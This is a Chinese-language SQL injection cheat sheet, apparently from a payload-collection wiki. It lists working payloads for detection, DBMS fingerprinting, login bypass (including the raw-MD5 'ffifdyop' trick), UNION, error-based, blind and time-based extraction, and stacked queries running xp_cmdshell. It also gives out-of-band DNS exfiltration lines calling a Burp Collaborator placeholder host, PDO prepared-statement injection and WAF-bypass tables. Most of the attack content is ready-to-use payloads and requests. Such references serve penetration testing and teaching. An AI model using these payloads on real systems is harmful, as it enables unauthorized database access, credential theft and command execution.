跳转至

SQL 注入 (SQL Injection)

SQL 注入 (SQLi) 是一种安全漏洞,允许攻击者干扰应用程序对其数据库进行的查询。SQL 注入是最常见且最严重的 Web 应用程序漏洞类型之一,它使攻击者能够在数据库上执行任意 SQL 代码。这可能导致未经授权的数据访问、数据操纵,在某些情况下,甚至会导致数据库服务器被完全入侵。

摘要 (Summary)

工具 (Tools)

入口探测 (Entry Point Detection)

检测 SQL 注入 (SQLi) 的入口,主要需识别应用程序中用户输入在被包含进 SQL 查询之前未经过滤的位置。

  • 错误消息 (Error Messages):在输入字段中输入特殊字符(例如单引号 ')可能会触发 SQL 错误。如果应用程序显示了详细的错误消息,则预示可能存在 SQL 注入点。

    • 简单字符:', ", ;, )*
    • 简单字符编码:%27, %22, %23, %3B, %29%2A
    • 多重编码:%%2727, %25%27
    • Unicode 字符:U+02BA, U+02B9
      • 双撇号修饰符 (U+02BA 编码为 %CA%BA) 会被转换为 U+0022 双引号 (`)
      • 撇号修饰符 (U+02B9 编码为 %CA%B9) 会被转换为 U+0027 单引号 (')
  • 恒真式注入 (Tautology-Based SQL Injection):通过输入恒真条件(始终为真)来测试漏洞。例如,在用户名地段输入 admin' OR '1'='1,如果系统存在漏洞,则可能会以此方法以管理员身份登录。

    • 字符合并 (Merging characters)
    `+HERP
    '||'DERP
    '+'herp
    ' 'DERP
    '%20'HERP
    '%2B'HERP
    
    • 逻辑测试
    page.asp?id=1 or 1=1 -- true
    page.asp?id=1' or 1=1 -- true
    page.asp?id=1" or 1=1 -- true
    page.asp?id=1 and 1=2 -- false
    
  • 时间攻击 (Timing Attacks):输入会导致故意延迟的 SQL 命令(例如 MySQL 中的 SLEEPBENCHMARK 函数)有助于识别潜在的注入点。如果在输入此类载荷后应用程序响应异常缓存,则可能存在漏洞。

DBMS 识别 (DBMS Identification)

基于关键字的 DBMS 识别

某些 SQL 关键字是特定于特定的数据库管理系统 (DBMS) 的。通过在 SQL 注入尝试中使用这些关键字并观察网站的响应,通常可以确定正在使用的 DBMS 类型。

DBMS SQL 载荷 (Payload)
MySQL conv('a',16,2)=conv('a',16,2)
MySQL connection_id()=connection_id()
MySQL crc32('MySQL')=crc32('MySQL')
MSSQL BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)
MSSQL @@CONNECTIONS>0
MSSQL @@CONNECTIONS=@@CONNECTIONS
MSSQL @@CPU_BUSY=@@CPU_BUSY
MSSQL USER_ID(1)=USER_ID(1)
ORACLE ROWNUM=ROWNUM
ORACLE RAWTOHEX('AB')=RAWTOHEX('AB')
ORACLE LNNVL(0=123)
POSTGRESQL 5::int=5
POSTGRESQL 5::integer=5
POSTGRESQL pg_client_encoding()=pg_client_encoding()
POSTGRESQL get_current_ts_config()=get_current_ts_config()
POSTGRESQL quote_literal(42.5)=quote_literal(42.5)
POSTGRESQL current_database()=current_database()
SQLITE sqlite_version()=sqlite_version()
SQLITE last_insert_rowid()>1
SQLITE last_insert_rowid()=last_insert_rowid()
MSACCESS val(cvar(1))=1
MSACCESS IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0

基于错误的 DBMS 识别

不同的 DBMS 在遇到问题时会返回特定的错误消息。通过触发错误并检查数据库返回的具体消息,通常可以识别该网站所使用的 DBMS 类型。

DBMS 示例错误消息 示例载荷 (Payload)
MySQL You have an error in your SQL syntax; ... near '' at line 1 '
PostgreSQL ERROR: unterminated quoted string at or near "'" '
PostgreSQL ERROR: syntax error at or near "1" 1'
Microsoft SQL Server Unclosed quotation mark after the character string ''. '
Microsoft SQL Server Incorrect syntax near ''. '
Microsoft SQL Server The conversion of the varchar value to data type int resulted in an out-of-range value. 1'
Oracle ORA-00933: SQL command not properly ended '
Oracle ORA-01756: quoted string not properly terminated '
Oracle ORA-00923: FROM keyword not found where expected 1'

认证绕过 (Authentication Bypass)

在标准的认证机制中,用户提供用户名和密码。应用程序通常会针对数据库检查这些凭证。例如,一条 SQL 查询可能是这样的:

SELECT * FROM users WHERE username = 'user' AND password = 'pass';

攻击者可以尝试在用户名或密码字段中注入恶意 SQL 代码。例如,如果攻击者在用户名地段输入以下内容:

' OR '1'='1

并将密码字段留空,则执行的 SQL 查询可能如下所示:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

在这里,'1'='1' 始终为真,这意味着查询可能会返回一个有效用户,从而有效地绕过了认证检查。

⚠ 在这种情况下,数据库将返回结果数组,因为它会匹配表中的每个用户。这将在服务器端产生错误,因为它仅预期一个结果。通过添加 LIMIT 子句,你可以限制查询返回的行数。通过在用户名地段提交以下载荷,你将以数据库中的第一个用户身份登录。此外,你可以在密码字段中使用正确用户名的同时注入载荷,以针对特定用户。

' or 1=1 limit 1 --

⚠ 避免不加区别地使用该载荷,因为它始终返回 true。它可能会与意料之外地删除会话、文件、配置或数据库数据的端点发生交互。

原始 MD5 和 SHA1

在 PHP 中,如果可选的 binary 参数被设置为 true,那么 md5 摘要将以 raw 原始二进制格式返回,长度为 16。让我们看看下面这段 PHP 代码,其中身份验证正在检查用户提交的密码的 MD5 哈希。

sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";

攻击者可以精心构造一个载荷,使得 md5($password,true) 函数的结果包含单引号并逃逸 SQL 上下文,例如通过 ' or 'SOMETHING

哈希类型 输入内容 输出 (原始二进制) 攻击载荷 (Payload)
md5 ffifdyop 'or'6]!r,b 'or'
md5 129581926211651571912466741651878684928 ÚT0DŸ o#ßÁ'or'8 'or'
sha1 3fDf Qu'='@[t- o_-! '='
sha1 178374 ™ÜÛ¾}_i™›a!8Wm'/*´Õ '/*
sha1 17 Ùp2ûjww™%6\ \

这种行为可以被滥用来通过逃逸上下文由于绕过身份验证。

sql1 = "SELECT * FROM admin WHERE pass = '".md5("ffifdyop", true)."'";
sql1 = "SELECT * FROM admin WHERE pass = ''or'6]!r,b '";

哈希处理后的密码 (Hashed Passwords)

到 2025 年,应用程序几乎从不存储明文密码。身份验证系统通常会使用密码的一种表示形式(由密钥派生函数派生出的哈希,通常带有盐值)。这种演变改变了某些经典的 SQL 注入 (SQLi) 认证绕过的机制:利用 UNION 注入行的攻击者现在必须提供与应用程序预期的存储表示形式相匹配的值,而不是用户的原始明文密码。

许多简单的认证流程执行以下高级步骤:

  • 查询数据库以获取用户记录(例如,SELECT username, password_hash FROM users WHERE username = ?)。
  • 从数据库接收存储的 password_hash
  • 本地使用配置好的算法计算 hash(input_password)
  • 比较 stored_password_hash == hash(input_password)

如果攻击者可以在结果集中注入额外的一行(例如使用 UNION),他们可以使应用程序接收到攻击者控制的 stored_password_hash。如果该注入的哈希等于应用程序计算的 hash(attacker_supplied_password),则比较成功且攻击者被认证为注入的用户名。

admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'--
  • AND 1=0:强制使原始请求变为假。
  • SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92':选择尽可能多数量的列,这里的 161ebd7d45089b3446ee4e0d86dbcf92 对应 MD5("P@ssw0rd")

如果应用程序计算 MD5("P@ssw0rd") 且结果等于 161ebd7d45089b3446ee4e0d86dbcf92,那么提供 "P@ssw0rd" 作为登录密码将通过检查。

如果应用程序存储了 salt 且使用了 KDF(salt, password),此方法则会失败。单个注入的静态哈希无法匹配每个用户带有独立盐值的结果,除非攻击者同时也控制或知晓盐值和 KDF 参数。

基于 UNION 的注入 (UNION Based Injection)

在标准的 SQL 查询中,数据是从一个表中检索的。UNION 运算符允许合并多个 SELECT 语句。如果应用程序易受 SQL 注入攻击,攻击者可以注入一个精心设计的 SQL 查询,通过向原始查询追加 UNION 语句来实现利用。

假设一个易受攻击的 Web 应用程序通过产品 ID 从数据库检索产品详细信息:

SELECT product_name, product_price FROM products WHERE product_id = 'input_id';

攻击者可以修改 input_id 以包含来自另一个表(如 users)的数据。

1' UNION SELECT username, password FROM users --

提交我们的载荷后,查询将变为如下 SQL:

SELECT product_name, product_price FROM products WHERE product_id = '1' UNION SELECT username, password FROM users --';

⚠ 两个 SELECT 子句必须具有相同数量的列。

基于错误的注入 (Error Based Injection)

基于错误的 SQL 注入是一种依赖于数据库返回的错误消息来收集数据库结构信息的技术。通过操纵 SQL 查询的输入参数,攻击者可以使数据库生成错误消息。这些错误可以揭示有关数据库的关键细节,例如表名、列名和数据类型,这些信息可用于设计进一步的攻击。

例如,在 PostgreSQL 上,在一条 SQL 查询中注入该载荷将导致错误,因为 LIMIT 子句预期的是一个数值。

LIMIT CAST((SELECT version()) as numeric) 

该错误将泄露 version() 的输出内容。

ERROR: invalid input syntax for type numeric: "PostgreSQL 9.5.25 on x86_64-pc-linux-gnu"

盲注 (Blind Injection)

盲注 (Blind SQL Injection) 是一种 SQL 注入攻击类型,它向数据库询问真或假的问题,并根据应用程序的响应来确定答案。

基于布尔的注入 (Boolean Based Injection)

此类攻击依靠向数据库发送一条 SQL 查询,使应用程序根据查询返回 TRUE 还是 FALSE 而返回不同的结果。攻击者可以根据应用程序行为的差异来推断信息。

页面大小、HTTP 响应码或页面缺失部分是检测基于布尔的盲注是否成功的有力指标。

这里有一个恢复 @@hostname 变量内容的简单示例。

识别注入点并确认漏洞:注入一个评估结果为 true/false 的载荷以确认 SQL 注入漏洞。例如:

http://example.com/item?id=1 AND 1=1 -- 预期正常响应
http://example.com/item?id=1 AND 1=2 -- 预期不同的响应或错误

提取主机名长度:通过递增直到响应指示匹配来猜测主机名的长度。例如:

http://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- 预期无变化
http://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- 预期无变化
http://example.com/item?id=1 AND LENGTH(@@hostname)=N -- 预期响应发生变化

提取主机名字符:使用 substring 和 ASCII 比较来提取主机名的每个字符:

http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 -- 
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 -- 

然后重复该方法以发现 @@hostname 的每个字符。显然该方法并不是获取它们的最快方式。这里有一些加速的建议:

  • 使用二分查找 (Dichotomy) 提取字符:它将请求数量从线性时间减少到对数时间,使数据提取更有效率。

基于盲报错误的注入 (Blind Error Based Injection)

该攻击依靠向数据库发送一条 SQL 查询,由于查询是成功返回还是触发错误,使应用程序返回不同的结果。在这种情况下,我们仅从服务器的答复推断成功与否,并不从错误的输出中提取数据。

示例:在 SQLite 中使用 json() 函数触发错误作为“先验 (oracle)”以确定注入是 true 还是 false。

' AND CASE WHEN 1=1 THEN 1 ELSE json('') END AND 'A'='A -- OK
' AND CASE WHEN 1=2 THEN 1 ELSE json('') END AND 'A'='A -- 畸形 JSON 错误

基于时间的注入 (Time Based Injection)

基于时间的 SQL 注入是一种盲注攻击,它依赖数据库延迟来推断某些查询返回的是 true 还是 false。当应用程序不显示任何来自数据库查询的直接反馈,但允许执行带有时间延迟的 SQL 命令时,可以使用该方法。攻击者可以通过分析数据库响应所需的时间来间接从数据库收集信息。

  • 数据库端默认的 SLEEP 函数
' AND SLEEP(5)/*
' AND '1'='1' AND SLEEP(5)
' ; WAITFOR DELAY '00:00:05' --
  • 执行时间较长的繁重查询,通常是加密相关函数。
BENCHMARK(2000000,MD5(NOW()))

让我们看一个使用基于时间的 SQL 注入恢复数据库版本的例子。

http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', BENCHMARK(1000000, MD5(1)), 0) --

如果服务器的响应在接收之前花费了几秒钟,则该版本是以 '5' 开头的。

带外注入 (Out of Band - OAST)

带外 SQL 注入 (OOB SQLi) 发生在攻击者使用替代通信渠道从数据库中外带提取数据时。与依赖 HTTP 响应中即时答复的传统 SQL 注入技术不同,OOB SQL 注入取决于数据库服务器向攻击者控制的服务器发起网络连接的能力。当注入的 SQL 命令结果无法直接看到,或者服务器的响应不稳定且不可靠时,该方法尤为有用。

不同的数据库提供了多种创建带外连接的方法,最常见的技术是 DNS 外带 (Exfiltration):

  • MySQL
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
  • MSSQL
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

基于堆叠的注入 (Stacked Based Injection)

堆叠查询 (Stacked Queries) SQL 注入是一种在单个查询中执行多条 SQL 语句的技术,执行各语句之间由分号 (;) 等分隔符分隔。这使得攻击者可以在合法查询之后执行额外的恶意 SQL 命令。并不是所有的数据库或应用程序配置都支持堆叠查询。

1; EXEC xp_cmdshell('whoami') --

多重语言注入 (Polyglot Injection)

多重语言 (Polyglot) SQL 注入载荷是一个精心构造的 SQL 注入攻击字符串,它可以在无需修改的情况下在多个上下文或环境中成功执行。这意味着该载荷由于在各种场景下都是有效的 SQL,因此可以绕过 Web 应用程序或数据库中不同类型的验证、解析或执行逻辑。

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

路由注入 (Routed Injection)

路由 (Routed) SQL 注入的一种场景是:被注入的查询并不是给出输出的查询,但被注入查询的输出会传递到另一个给出输出的查询中。 - Zenodermus Javanicus

简而言之,第一个 SQL 查询的结果被用于构建第二个 SQL 查询。通常的格式是 ' union select 0xHEXVALUE --,其中 HEXVALUE 是针对第二个查询的 SQL 注入攻击代码。

示例 1

0x2720756e696f6e2073656c65637420312c3223' union select 1,2# 的十六进制编码。

' union select 0x2720756e696f6e2073656c65637420312c3223#

示例 2

0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061-1' union select login,password from users-- a 的十六进制编码。

-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

二次 SQL 注入 (Second Order SQL Injection)

二次 SQL 注入是 SQL 注入的一种子类型,其恶意的 SQL 载荷首先存储在应用程序的数据库中,稍后由同一应用程序的另一个功能执行。 与一阶 SQLi 不同,注入不会立即发生。它是在单独的步骤中触发的,通常位于应用程序的不同部分。

  1. 用户提交输入并被存储(例如,在注册或更新个人资料期间)。
用户名: attacker'--
电子邮箱: attacker@example.com
  1. 那个输入在没有验证的情况下被保存,但并没有触发 SQL 注入。
INSERT INTO users (username, email) VALUES ('attacker\'--', 'attacker@example.com');
  1. 稍后,应用程序在一条 SQL 查询中检索并使用了存储的数据。
query = "SELECT * FROM logs WHERE username = '" + user_from_db + "'"
  1. 如果这条查询是以不安全的方式构建的,注入将被开启。

PDO 预处理语句 (PDO Prepared Statements)

PDO,即 PHP 数据对象 (PHP Data Objects),是 PHP 的一个扩展,提供了一种一致且安全的方式来访问和与数据库交互。它旨在提供数据库交互的标准化方法,允许开发人员在多种类型的数据库(如 MySQL、PostgreSQL、SQLite 等)中使用一致的 API。

PDO 允许绑定输入参数,这确保了用户数据在作为 SQL 查询的一部分执行之前得到了适当的清洗。然而如果开发人员允许用户输入出现在 SQL 查询内部,它仍然可能易受 SQL 注入攻击。

要求

  • 数据库 (DMBS)

    • MySQL 默认是易受攻击的。
    • Postgres 默认不易受攻击,除非通过 PDO::ATTR_EMULATE_PREPARES => true 开启了模拟功能。
    • SQLite 不易受此攻击。
  • PDO 语句内部任何位置的 SQL 注入:$pdo->prepare("SELECT $INJECT_SQL_HERE...")

  • PDO 用于另一个 SQL 参数,使用 ?:parameter

    $pdo = new PDO(APP_DB_HOST, APP_DB_USER, APP_DB_PASS);
    $col = '`' . str_replace('`', '``', $_GET['col']) . '`';
    
    $stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = ?");
    $stmt->execute([$_GET['name']]);
    // 或
    $stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = :name");
    $stmt->execute(['name' => $_GET['name']]);
    

方法论

注意:在 PHP 8.3 及更低版本中,即使没有空字节 (\0),注入也会发生。攻击者只需要“走私”一个 ":" 或一个 "?"。

  • 使用 ?#\0 检测 SQL注入:GET /index.php?col=%3f%23%00&name=anything

    # 1st Payload: ?#\0
    # 2nd Payload: anything
    你的 SQL 语法有误请检查与你的 MariaDB 服务器版本相对应的手册以了解在第 1 行的 '`'anything'#' 附近应使用的正确语法
    
  • 强制执行一个 select `'x` 而不是列名,并创建一个注释。注入一个反引号以修复列名并使用 ;# 终止 SQL 查询:GET /index.php?col=%3f%23%00&name=x%60;%23

    # 1st Payload: ?#\0
    # 2nd Payload: x`;#
    未发现列: 1054 'SELECT' 中存在未知列 ''x'
    
  • 在第二个参数中注入载荷。GET /index2.php?col=\%3f%23%00&name=x%60+FROM+(SELECT+table_name+AS+'x+from+information_schema.tables)y%3b%2523

    # 1st Payload: \?#\0
    # 2nd Payload: x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23
    ALL_PLUGINS
    APPLICABLE_ROLES
    CHARACTER_SETS
    CHECK_CONSTRAINTS
    COLLATIONS
    COLLATION_CHARACTER_SET_APPLICABILITY
    COLUMNS
    
  • 最终执行的 SQL 查询

    -- 在 $pdo->prepare 之前
    SELECT `\?#\0` FROM animals WHERE name = ?
    
    -- 在 $pdo->prepare 之后
    SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;#'#\0` FROM animals WHERE name = ?
    

通用的 WAF 绕过 (Generic WAF Bypass)


禁止空格 (No Space Allowed)

一些 Web 应用程序尝试通过阻止或剥离空格字符来防止简单的 SQL 注入攻击,从而保护其 SQL 查询。然而,攻击者可以通过使用替代的空白字符、注释或创造性地使用括号来绕过这些过滤器。

替代空白字符

大多数数据库在 SQL 语句中将某些 ASCII 控制字符和编码后的空格(例如制表符、换行符等)解释为空白。通过对这些字符进行编码,攻击者通常可以逃避基于空格的过滤器。

示例载荷 (Example Payload) 描述
?id=1%09and%091=1%09-- %09 是制表符 (\t)
?id=1%0Aand%0A1=1%0A-- %0A 是换行符 (\n)
?id=1%0Band%0B1=1%0B-- %0B 是垂直制表符
?id=1%0Cand%0C1=1%0C-- %0C 是换页符
?id=1%0Dand%0D1=1%0D-- %0D 是回车符 (\r)
?id=1%A0and%A01=1%A0-- %A0 是不换行空格

各数据库对 ASCII 空白的支持情况

数据库 (DBMS) 支持的空白字符 (十六进制)
SQLite3 0A, 0D, 0C, 09, 20
MySQL 5 09, 0A, 0B, 0C, 0D, A0, 20
MySQL 3 01–1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0
PostgreSQL 0A, 0D, 0C, 09, 20
Oracle 11g 00, 0A, 0D, 0C, 09, 20
MSSQL 01–1F, 20

使用注释和括号进行绕过

SQL 允许使用注释和分组,这可以打断关键字和查询,从而使空格过滤器失效:

绕过方法 技术技巧
?id=1/*comment*/AND/**/1=1/**/-- 注释
?id=1/*!12345UNION*//*!12345SELECT*/1-- 条件注释
?id=(1)and(1)=(1)-- 括号

禁止逗号 (No Comma Allowed)

使用 OFFSETFROMJOIN 进行绕过。

被禁用的内容 绕过载荷
LIMIT 0,1 LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

禁止等号 (No Equal Allowed)

使用 LIKE/NOT IN/IN/BETWEEN 进行绕过。

绕过方法 SQL 示例
LIKE SUBSTRING(VERSION(),1,1)LIKE(5)
NOT IN SUBSTRING(VERSION(),1,1)NOT IN(4,3)
IN SUBSTRING(VERSION(),1,1)IN(4,3)
BETWEEN SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4

字符大小写变换 (Case Modification)

使用大写/小写进行绕过。

绕过方法 技术技巧
AND 大写
and 小写
aNd 混合大小写

使用不区分大小写的关键字或等价的操作符进行绕过。

被禁用的内容 绕过载荷
AND &&
OR ||
= LIKE, REGEXP, BETWEEN
> NOT BETWEEN 0 AND X
WHERE HAVING

实验环境 (Labs)

参考资料 (References)